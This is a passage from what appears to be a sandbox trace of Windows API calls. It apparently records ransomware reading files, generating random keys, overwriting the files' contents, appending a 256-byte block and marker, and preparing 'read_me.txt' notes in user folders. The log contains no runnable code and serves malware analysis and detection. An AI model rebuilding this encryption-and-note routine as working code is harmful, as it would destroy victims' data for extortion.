lpMem=0x3345b00 | out: hHeap=0x540000) returned 1 [0086.190] CloseHandle (hObject=0x914) returned 1 [0086.191] InterlockedExchangeAdd (in: Addend=0x40f168, Value=1 | out: Addend=0x40f168) returned 102 [0086.191] SetFilePointerEx (in: hFile=0x918, liDistanceToMove=0xfffffffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.191] ReadFile (in: hFile=0x918, lpBuffer=0x285fd4c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x285fd08, lpOverlapped=0x0 | out: lpBuffer=0x285fd4c*, lpNumberOfBytesRead=0x285fd08*=0x0, lpOverlapped=0x0) returned 1 [0086.191] SetFilePointerEx (in: hFile=0x918, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.191] GetProcessHeap () returned 0x540000 [0086.191] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x3345b00 [0086.191] GetProcessHeap () returned 0x540000 [0086.191] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x331ea88 [0086.191] SystemFunction036 (in: RandomBuffer=0x331ea88, RandomBufferLength=0x20 | out: RandomBuffer=0x331ea88) returned 1 [0086.192] GetProcessHeap () returned 0x540000 [0086.192] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x1000) returned 0x33427c0 [0086.192] ReadFile (in: hFile=0x918, lpBuffer=0x33427c0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x285fd08, lpOverlapped=0x0 | out: lpBuffer=0x33427c0*, lpNumberOfBytesRead=0x285fd08*=0x85, lpOverlapped=0x0) returned 1 [0086.194] SetFilePointerEx (in: hFile=0x918, liDistanceToMove=0xffffff7b, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0086.194] WriteFile (in: hFile=0x918, lpBuffer=0x33427c0*, nNumberOfBytesToWrite=0x85, lpNumberOfBytesWritten=0x285fd44, lpOverlapped=0x0 | out: lpBuffer=0x33427c0*, lpNumberOfBytesWritten=0x285fd44*=0x85, lpOverlapped=0x0) returned 1 [0086.194] GetProcessHeap () returned 0x540000 [0086.194] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333fef0 [0086.194] GetProcessHeap () returned 0x540000 [0086.195] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0086.195] GetProcessHeap () returned 0x540000 [0086.195] RtlReAllocateHeap (Heap=0x540000, Flags=0x8, Ptr=0x333ff00, Size=0x20) returned 0x331ef10 [0086.195] GetProcessHeap () returned 0x540000 [0086.195] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0086.195] GetProcessHeap () returned 0x540000 [0086.195] RtlReAllocateHeap (Heap=0x540000, Flags=0x0, Ptr=0x333ff00, Size=0x20) returned 0x331f258 [0086.195] GetProcessHeap () returned 0x540000 [0086.195] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0086.195] GetProcessHeap () returned 0x540000 [0086.195] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0086.195] GetProcessHeap () returned 0x540000 [0086.195] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0086.195] GetProcessHeap () returned 0x540000 [0086.195] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0086.195] GetProcessHeap () returned 0x540000 [0086.195] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0086.195] GetProcessHeap () returned 0x540000 [0086.195] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0086.195] GetProcessHeap () returned 0x540000 [0086.195] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0086.195] GetProcessHeap () returned 0x540000 [0086.195] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0086.195] GetProcessHeap () returned 0x540000 [0086.195] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0086.195] GetProcessHeap () returned 0x540000 [0086.195] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0086.195] GetProcessHeap () returned 0x540000 [0086.195] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0086.195] GetProcessHeap () returned 0x540000 [0086.195] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0086.195] GetProcessHeap () returned 0x540000 [0086.195] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0086.195] GetProcessHeap () returned 0x540000 [0086.195] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0086.195] GetProcessHeap () returned 0x540000 [0086.195] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0086.195] GetProcessHeap () returned 0x540000 [0086.195] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0086.195] GetProcessHeap () returned 0x540000 [0086.196] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0086.196] GetProcessHeap () returned 0x540000 [0086.196] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0086.196] GetProcessHeap () returned 0x540000 [0086.196] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0086.196] GetProcessHeap () returned 0x540000 [0086.196] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0086.196] GetProcessHeap () returned 0x540000 [0086.196] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0086.196] GetProcessHeap () returned 0x540000 [0086.196] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0086.196] GetProcessHeap () returned 0x540000 [0086.196] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0086.196] GetProcessHeap () returned 0x540000 [0086.196] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0086.196] GetProcessHeap () returned 0x540000 [0086.196] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0086.196] GetProcessHeap () returned 0x540000 [0086.196] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0086.196] GetProcessHeap () returned 0x540000 [0086.196] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0086.196] GetProcessHeap () returned 0x540000 [0086.196] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0086.196] GetProcessHeap () returned 0x540000 [0086.196] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0086.196] GetProcessHeap () returned 0x540000 [0086.196] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0086.196] GetProcessHeap () returned 0x540000 [0086.196] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0086.196] GetProcessHeap () returned 0x540000 [0086.196] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0086.196] GetProcessHeap () returned 0x540000 [0086.196] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0086.196] GetProcessHeap () returned 0x540000 [0086.196] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x24) returned 0x330ace8 [0086.196] GetProcessHeap () returned 0x540000 [0086.196] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0086.196] GetProcessHeap () returned 0x540000 [0086.196] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x40) returned 0x331fdf0 [0086.196] GetProcessHeap () returned 0x540000 [0086.196] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x330ace8 | out: hHeap=0x540000) returned 1 [0086.197] GetProcessHeap () returned 0x540000 [0086.197] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1f70 [0086.197] GetProcessHeap () returned 0x540000 [0086.197] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331fdf0 | out: hHeap=0x540000) returned 1 [0086.197] GetProcessHeap () returned 0x540000 [0086.197] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x3345c08 [0086.197] GetProcessHeap () returned 0x540000 [0086.197] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1f70 | out: hHeap=0x540000) returned 1 [0086.197] GetProcessHeap () returned 0x540000 [0086.197] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0086.197] GetProcessHeap () returned 0x540000 [0086.197] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3345c08 | out: hHeap=0x540000) returned 1 [0086.197] GetProcessHeap () returned 0x540000 [0086.197] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0086.197] GetProcessHeap () returned 0x540000 [0086.197] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0086.197] GetProcessHeap () returned 0x540000 [0086.197] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0086.197] GetProcessHeap () returned 0x540000 [0086.197] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0086.197] GetProcessHeap () returned 0x540000 [0086.197] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0086.197] GetProcessHeap () returned 0x540000 [0086.197] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0086.197] GetProcessHeap () returned 0x540000 [0086.197] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0086.197] GetProcessHeap () returned 0x540000 [0086.197] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0086.197] GetProcessHeap () returned 0x540000 [0086.197] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0086.197] GetProcessHeap () returned 0x540000 [0086.198] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0086.198] GetProcessHeap () returned 0x540000 [0086.198] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0086.198] GetProcessHeap () returned 0x540000 [0086.198] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0086.198] GetProcessHeap () returned 0x540000 [0086.198] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0086.198] GetProcessHeap () returned 0x540000 [0086.198] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0086.198] GetProcessHeap () returned 0x540000 [0086.198] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0086.198] GetProcessHeap () returned 0x540000 [0086.198] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0086.198] GetProcessHeap () returned 0x540000 [0086.198] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0086.198] GetProcessHeap () returned 0x540000 [0086.198] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0086.198] GetProcessHeap () returned 0x540000 [0086.198] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0086.198] GetProcessHeap () returned 0x540000 [0086.198] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0086.198] GetProcessHeap () returned 0x540000 [0086.198] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0086.198] GetProcessHeap () returned 0x540000 [0086.198] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0086.198] GetProcessHeap () returned 0x540000 [0086.198] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0086.198] GetProcessHeap () returned 0x540000 [0086.199] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0086.199] GetProcessHeap () returned 0x540000 [0086.199] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x220) returned 0x3357d80 [0086.199] GetProcessHeap () returned 0x540000 [0086.199] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0086.199] GetProcessHeap () returned 0x540000 [0086.199] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333fef0 | out: hHeap=0x540000) returned 1 [0086.199] GetProcessHeap () returned 0x540000 [0086.199] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331f258 | out: hHeap=0x540000) returned 1 [0086.199] GetProcessHeap () returned 0x540000 [0086.199] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0086.199] GetProcessHeap () returned 0x540000 [0086.199] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331ef10 | out: hHeap=0x540000) returned 1 [0086.199] SetFilePointerEx (in: hFile=0x918, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.199] WriteFile (in: hFile=0x918, lpBuffer=0x3345b00*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x285fd44, lpOverlapped=0x0 | out: lpBuffer=0x3345b00*, lpNumberOfBytesWritten=0x285fd44*=0x100, lpOverlapped=0x0) returned 1 [0086.199] WriteFile (in: hFile=0x918, lpBuffer=0x285fd48*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x285fd44, lpOverlapped=0x0 | out: lpBuffer=0x285fd48*, lpNumberOfBytesWritten=0x285fd44*=0x4, lpOverlapped=0x0) returned 1 [0086.199] GetProcessHeap () returned 0x540000 [0086.199] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x33427c0 | out: hHeap=0x540000) returned 1 [0086.199] GetProcessHeap () returned 0x540000 [0086.199] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331ea88 | out: hHeap=0x540000) returned 1 [0086.199] GetProcessHeap () returned 0x540000 [0086.199] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3345b00 | out: hHeap=0x540000) returned 1 [0086.199] CloseHandle (hObject=0x918) returned 1 [0086.200] InterlockedExchangeAdd (in: Addend=0x40f168, Value=1 | out: Addend=0x40f168) returned 103 [0086.200] GetProcessHeap () returned 0x540000 [0086.200] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0xfffe) returned 0x4340048 [0086.200] wnsprintfW (in: pszDest=0x4340048, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\Default\\SendTo\\*") returned 29 [0086.200] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\Default\\SendTo\\*", lpFindFileData=0x285fb60 | out: lpFindFileData=0x285fb60*(dwFileAttributes=0x2000002, ftCreationTime.dwLowDateTime=0x333fa70, ftCreationTime.dwHighDateTime=0x540150, ftLastAccessTime.dwLowDateTime=0x285fc58, ftLastAccessTime.dwHighDateTime=0x540000, ftLastWriteTime.dwLowDateTime=0x540150, ftLastWriteTime.dwHighDateTime=0x80, nFileSizeHigh=0x33427c0, nFileSizeLow=0x540150, dwReserved0=0x2000002, dwReserved1=0x540000, cFileName="➸̴", cAlternateFileName="")) returned 0xffffffff [0086.200] wnsprintfW (in: pszDest=0x4340048, cchDest=32767, pszFmt="%s\\read_me.txt" | out: pszDest="\\\\?\\C:\\Users\\Default\\SendTo\\read_me.txt") returned 39 [0086.200] GetProcessHeap () returned 0x540000 [0086.200] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x4340048 | out: hHeap=0x540000) returned 1 [0086.203] InterlockedExchangeAdd (in: Addend=0x40f16c, Value=1 | out: Addend=0x40f16c) returned 100 [0086.203] GetProcessHeap () returned 0x540000 [0086.203] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x42620e8 | out: hHeap=0x540000) returned 1 [0086.204] SetFilePointerEx (in: hFile=0x91c, liDistanceToMove=0xfffffffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.204] ReadFile (in: hFile=0x91c, lpBuffer=0x285fd4c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x285fd08, lpOverlapped=0x0 | out: lpBuffer=0x285fd4c*, lpNumberOfBytesRead=0x285fd08*=0x0, lpOverlapped=0x0) returned 1 [0086.204] SetFilePointerEx (in: hFile=0x91c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.204] GetProcessHeap () returned 0x540000 [0086.204] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x3345b00 [0086.204] GetProcessHeap () returned 0x540000 [0086.204] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x331ea88 [0086.204] SystemFunction036 (in: RandomBuffer=0x331ea88, RandomBufferLength=0x20 | out: RandomBuffer=0x331ea88) returned 1 [0086.204] GetProcessHeap () returned 0x540000 [0086.204] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x1000) returned 0x33427c0 [0086.204] ReadFile (in: hFile=0x91c, lpBuffer=0x33427c0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x285fd08, lpOverlapped=0x0 | out: lpBuffer=0x33427c0*, lpNumberOfBytesRead=0x285fd08*=0x1e6, lpOverlapped=0x0) returned 1 [0086.211] SetFilePointerEx (in: hFile=0x91c, liDistanceToMove=0xfffffe1a, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0086.211] WriteFile (in: hFile=0x91c, lpBuffer=0x33427c0*, nNumberOfBytesToWrite=0x1e6, lpNumberOfBytesWritten=0x285fd44, lpOverlapped=0x0 | out: lpBuffer=0x33427c0*, lpNumberOfBytesWritten=0x285fd44*=0x1e6, lpOverlapped=0x0) returned 1 [0086.211] GetProcessHeap () returned 0x540000 [0086.211] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333fef0 [0086.211] GetProcessHeap () returned 0x540000 [0086.211] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0086.211] GetProcessHeap () returned 0x540000 [0086.211] RtlReAllocateHeap (Heap=0x540000, Flags=0x8, Ptr=0x333ff00, Size=0x20) returned 0x331ef10 [0086.211] GetProcessHeap () returned 0x540000 [0086.211] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0086.211] GetProcessHeap () returned 0x540000 [0086.211] RtlReAllocateHeap (Heap=0x540000, Flags=0x0, Ptr=0x333ff00, Size=0x20) returned 0x331f258 [0086.211] GetProcessHeap () returned 0x540000 [0086.211] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0086.212] GetProcessHeap () returned 0x540000 [0086.212] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0086.212] GetProcessHeap () returned 0x540000 [0086.212] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0086.212] GetProcessHeap () returned 0x540000 [0086.212] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0086.212] GetProcessHeap () returned 0x540000 [0086.212] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0086.212] GetProcessHeap () returned 0x540000 [0086.212] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0086.212] GetProcessHeap () returned 0x540000 [0086.212] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0086.212] GetProcessHeap () returned 0x540000 [0086.212] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0086.212] GetProcessHeap () returned 0x540000 [0086.212] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0086.212] GetProcessHeap () returned 0x540000 [0086.212] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0086.212] GetProcessHeap () returned 0x540000 [0086.212] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0086.212] GetProcessHeap () returned 0x540000 [0086.212] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0086.212] GetProcessHeap () returned 0x540000 [0086.212] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0086.212] GetProcessHeap () returned 0x540000 [0086.212] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0086.212] GetProcessHeap () returned 0x540000 [0086.212] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0086.212] GetProcessHeap () returned 0x540000 [0086.212] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0086.212] GetProcessHeap () returned 0x540000 [0086.212] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0086.212] GetProcessHeap () returned 0x540000 [0086.212] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0086.212] GetProcessHeap () returned 0x540000 [0086.212] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0086.212] GetProcessHeap () returned 0x540000 [0086.212] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0086.212] GetProcessHeap () returned 0x540000 [0086.213] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0086.213] GetProcessHeap () returned 0x540000 [0086.213] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0086.213] GetProcessHeap () returned 0x540000 [0086.213] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0086.213] GetProcessHeap () returned 0x540000 [0086.213] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0086.213] GetProcessHeap () returned 0x540000 [0086.213] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0086.213] GetProcessHeap () returned 0x540000 [0086.213] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0086.213] GetProcessHeap () returned 0x540000 [0086.213] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0086.213] GetProcessHeap () returned 0x540000 [0086.213] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0086.213] GetProcessHeap () returned 0x540000 [0086.213] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0086.213] GetProcessHeap () returned 0x540000 [0086.213] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0086.213] GetProcessHeap () returned 0x540000 [0086.213] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0086.213] GetProcessHeap () returned 0x540000 [0086.213] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0086.213] GetProcessHeap () returned 0x540000 [0086.213] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0086.213] GetProcessHeap () returned 0x540000 [0086.213] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x24) returned 0x330ace8 [0086.213] GetProcessHeap () returned 0x540000 [0086.213] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0086.213] GetProcessHeap () returned 0x540000 [0086.213] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x40) returned 0x331fdf0 [0086.213] GetProcessHeap () returned 0x540000 [0086.213] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x330ace8 | out: hHeap=0x540000) returned 1 [0086.213] GetProcessHeap () returned 0x540000 [0086.213] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1f70 [0086.213] GetProcessHeap () returned 0x540000 [0086.213] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331fdf0 | out: hHeap=0x540000) returned 1 [0086.213] GetProcessHeap () returned 0x540000 [0086.213] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x3345c08 [0086.213] GetProcessHeap () returned 0x540000 [0086.214] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1f70 | out: hHeap=0x540000) returned 1 [0086.214] GetProcessHeap () returned 0x540000 [0086.214] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0086.214] GetProcessHeap () returned 0x540000 [0086.214] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3345c08 | out: hHeap=0x540000) returned 1 [0086.214] GetProcessHeap () returned 0x540000 [0086.214] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0086.214] GetProcessHeap () returned 0x540000 [0086.214] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0086.214] GetProcessHeap () returned 0x540000 [0086.214] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0086.214] GetProcessHeap () returned 0x540000 [0086.214] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0086.214] GetProcessHeap () returned 0x540000 [0086.214] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0086.214] GetProcessHeap () returned 0x540000 [0086.214] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0086.214] GetProcessHeap () returned 0x540000 [0086.214] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0086.214] GetProcessHeap () returned 0x540000 [0086.214] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0086.214] GetProcessHeap () returned 0x540000 [0086.214] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0086.214] GetProcessHeap () returned 0x540000 [0086.214] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0086.214] GetProcessHeap () returned 0x540000 [0086.214] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0086.214] GetProcessHeap () returned 0x540000 [0086.214] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: 